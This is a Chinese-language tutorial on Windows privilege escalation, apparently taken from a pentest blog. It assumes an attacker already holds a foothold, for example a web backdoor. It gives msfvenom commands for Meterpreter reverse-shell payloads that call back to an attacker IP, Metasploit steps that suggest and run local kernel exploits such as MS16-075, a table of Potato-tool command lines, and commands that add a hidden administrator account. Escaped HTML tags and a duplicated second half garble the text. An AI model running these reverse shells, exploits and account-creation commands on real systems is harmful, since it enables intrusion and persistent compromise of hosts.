Windows系统提权全面指南<\/h1>

一、提权基础概念<\/h2>

1. 为什么要提权<\/h3>

前提条件：已获得普通用户权限（如通过Web后门连接）<\/li>

目标：从普通用户权限提升至更高权限（如管理员或SYSTEM）<\/li> <\/ul>

2. Windows用户权限等级<\/h3>

System<\/strong>：最高权限，拥有完全系统控制权<\/li>
Administrators<\/strong>：管理员组，完全访问权限<\/li>
Users<\/strong>：普通用户组，有限权限<\/li>
Guests<\/strong>：访客组，最低权限<\/li>
Backup Operators<\/strong>：备份操作员组<\/li>
Power Users<\/strong>：高级用户组（介于普通用户和管理员之间）<\/li>
Remote Desktop Users<\/strong>：远程桌面用户组<\/li>

IIS_IUSRS<\/strong>：IIS服务专用用户组<\/li> <\/ul>
二、Web环境差异与权限<\/h2>
1. Web搭建平台差异<\/h3>

集成软件<\/strong>（宝塔、Phpstudy等）：通常使用搭建者当前用户权限<\/li>
自行搭建<\/strong>：可能分配较低权限<\/li>
虚拟化环境<\/strong>（Docker、ESXi等）：权限取决于虚拟化配置<\/li> <\/ul>
2. Web语言权限差异<\/h3>
权限从高到低：JSP > ASP.NET > ASP = PHP<\/p>

JAVA\/JSP<\/strong>：通常无需提权，直接获得较高权限<\/li>
ASP.NET<\/strong>：中等权限<\/li>
ASP\/PHP<\/strong>：通常较低权限<\/li> <\/ul>
三、Windows提权方法<\/h2>
1. 内核溢出漏洞提权<\/h3>
使用MSF框架提权步骤：<\/h4>

生成反弹后门<\/strong><\/p>
# 32位<\/span> <\/span><\/span>msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=<\/span>攻击者IP LPORT=<\/span>4444<\/span> -f exe -o msf.exe <\/span><\/span> <\/span><\/span># 64位<\/span> <\/span><\/span>msfvenom -p windows\/x64\/meterpreter\/reverse_tcp LHOST=<\/span>攻击者IP LPORT=<\/span>4444<\/span> -f exe -o msf64.exe <\/span><\/span><\/code><\/pre><\/li> 配置监听会话<\/strong><\/p> use exploit\/multi\/handler <\/span><\/span>set payload windows\/x64\/meterpreter\/reverse_tcp <\/span><\/span>set lhost 攻击者IP <\/span><\/span>set lport 4444<\/span> <\/span><\/span>exploit\/run <\/span><\/span><\/code><\/pre><\/li> 筛选EXP模块<\/strong><\/p> use post\/multi\/recon\/local_exploit_suggester <\/span><\/span>set showdescription true <\/span><\/span>set session 1<\/span> <\/span><\/span>exploit\/run <\/span><\/span><\/code><\/pre><\/li> 利用EXP溢出提权<\/strong><\/p> use exploit\/windows\/local\/ms16_075_reflection_juicy <\/span><\/span>set session 1<\/span> <\/span><\/span>exploit\/run <\/span><\/span><\/code><\/pre><\/li> <\/ol> 常见内核漏洞：<\/h4> MS16-075 (CVE-2016-3225)：Windows SMB服务器特权提升漏洞<\/li> CVE-2017-0213：Windows内核漏洞<\/li> <\/ul> 2. 使用Cobalt Strike提权<\/h3> 设置Teamserver<\/li> 创建监听器<\/li> 生成有效载荷并上传执行<\/li> 使用插件提权（如加载狐狸工具的cna文件）<\/li> <\/ol> 3. 人工操作提权<\/h3> 步骤：<\/strong><\/p> 信息收集<\/strong><\/p> 使用whoami<\/code>查看当前权限<\/li> net user<\/code>查看用户列表<\/li> systeminfo<\/code>查看系统信息<\/li> <\/ul> <\/li> 补丁筛选<\/strong><\/p> 使用WESNG工具分析补丁： python wes.py systeminfo.txt -c -i "Elevation of Privilege"<\/span> -o vlun.csv <\/span><\/span><\/code><\/pre><\/li> 搜索漏洞： searchsploit windows <\/span><\/span><\/code><\/pre><\/li> <\/ul> <\/li> EXP获取与执行<\/strong><\/p> 从GitHub获取EXP： SecWiki\/windows-kernel-exploits<\/a><\/li> Ascotbe\/Kernelhub<\/a><\/li> <\/ul> <\/li> <\/ul> <\/li> <\/ol> 四、土豆(Potato)家族提权<\/h2> 1. 常用土豆提权工具<\/h3> 工具名称<\/th> 适用系统<\/th> 命令示例<\/th> <\/tr> <\/thead> RottenPotato<\/td> Windows Server 2016<\/td> -<\/td> <\/tr> SweetPotato<\/td> Windows Server 2022<\/td> SweetPotato.exe<\/code><\/td> <\/tr> BadPotato<\/td> 多版本<\/td> BadPotato.exe whoami<\/code><\/td> <\/tr> EfsPotato<\/td> 多版本<\/td> EfsPotato.exe whoami<\/code><\/td> <\/tr> GodPotato<\/td> 多版本<\/td> GodPotato.exe -cmd "cmd \/c whoami"<\/code><\/td> <\/tr> PetitPotato<\/td> 多版本<\/td> PetitPotato.exe 0 whoami<\/code><\/td> <\/tr> PrintNotifyPotato<\/td> 多版本<\/td> PrintNotifyPotato.exe whoami<\/code><\/td> <\/tr> <\/tbody> <\/table> 2. 使用示例<\/h3> # RasManPotato<\/span> <\/span><\/span>RasMan.exe -i -c whoami -m 1<\/span> <\/span><\/span> <\/span><\/span># MultiPotato<\/span> <\/span><\/span>MultiPotato.exe -e "whoami"<\/span> -t CreateProcessAsUserW <\/span><\/span><\/code><\/pre>五、实用技巧<\/h2> 绕过限制<\/strong>：<\/p> 无法执行命令时，可上传cmd.exe到可读写目录再调用<\/li> <\/ul> <\/li> 添加用户<\/strong>：<\/p> net user 用户名密码 \/add <\/span><\/span>net localgroup administrators 用户名 \/add <\/span><\/span><\/code><\/pre><\/li> 权限检查<\/strong>：<\/p> whoami \/priv<\/code>：查看当前用户特权<\/li> whoami \/groups<\/code>：查看用户组信息<\/li> <\/ul> <\/li> <\/ol> 六、资源链接<\/h2> 漏洞利用数据库：<\/p> nomi-sec\/Poc-in-Github<\/a><\/li> exploit-database\/exploitdb<\/a><\/li> <\/ul> <\/li> 提权辅助工具：<\/p> bitsadmin\/wesng<\/a><\/li> <\/ul> <\/li> 内核漏洞集合：<\/p> SecWiki\/windows-kernel-exploits<\/a><\/li> Ascotbe\/Kernelhub<\/a><\/li> <\/ul> <\/li> <\/ol>

工具名称<\/th>	适用系统<\/th>	命令示例<\/th> <\/tr> <\/thead>
RottenPotato<\/td>	Windows Server 2016<\/td>	-<\/td> <\/tr>
SweetPotato<\/td>	Windows Server 2022<\/td>	`SweetPotato.exe<\/code><\/td> <\/tr>`
BadPotato<\/td>	多版本<\/td>	`BadPotato.exe whoami<\/code><\/td> <\/tr>`
EfsPotato<\/td>	多版本<\/td>	`EfsPotato.exe whoami<\/code><\/td> <\/tr>`
GodPotato<\/td>	多版本<\/td>	`GodPotato.exe -cmd "cmd \/c whoami"<\/code><\/td> <\/tr>`
PetitPotato<\/td>	多版本<\/td>	`PetitPotato.exe 0 whoami<\/code><\/td> <\/tr>`
PrintNotifyPotato<\/td>	多版本<\/td>	PrintNotifyPotato.exe whoami<\/code><\/td> <\/tr> <\/tbody> <\/table> 2. 使用示例<\/h3> # RasManPotato<\/span> <\/span><\/span>RasMan.exe -i -c whoami -m 1<\/span> <\/span><\/span> <\/span><\/span># MultiPotato<\/span> <\/span><\/span>MultiPotato.exe -e "whoami"<\/span> -t CreateProcessAsUserW <\/span><\/span><\/code><\/pre>五、实用技巧<\/h2> 绕过限制<\/strong>：<\/p> 无法执行命令时，可上传cmd.exe到可读写目录再调用<\/li> <\/ul> <\/li> 添加用户<\/strong>：<\/p> net user 用户名密码 \/add <\/span><\/span>net localgroup administrators 用户名 \/add <\/span><\/span><\/code><\/pre><\/li> 权限检查<\/strong>：<\/p> whoami \/priv<\/code>：查看当前用户特权<\/li> whoami \/groups<\/code>：查看用户组信息<\/li> <\/ul> <\/li> <\/ol> 六、资源链接<\/h2> 漏洞利用数据库：<\/p> nomi-sec\/Poc-in-Github<\/a><\/li> exploit-database\/exploitdb<\/a><\/li> <\/ul> <\/li> 提权辅助工具：<\/p> bitsadmin\/wesng<\/a><\/li> <\/ul> <\/li> 内核漏洞集合：<\/p> SecWiki\/windows-kernel-exploits<\/a><\/li> Ascotbe\/Kernelhub<\/a><\/li> <\/ul> <\/li> <\/ol>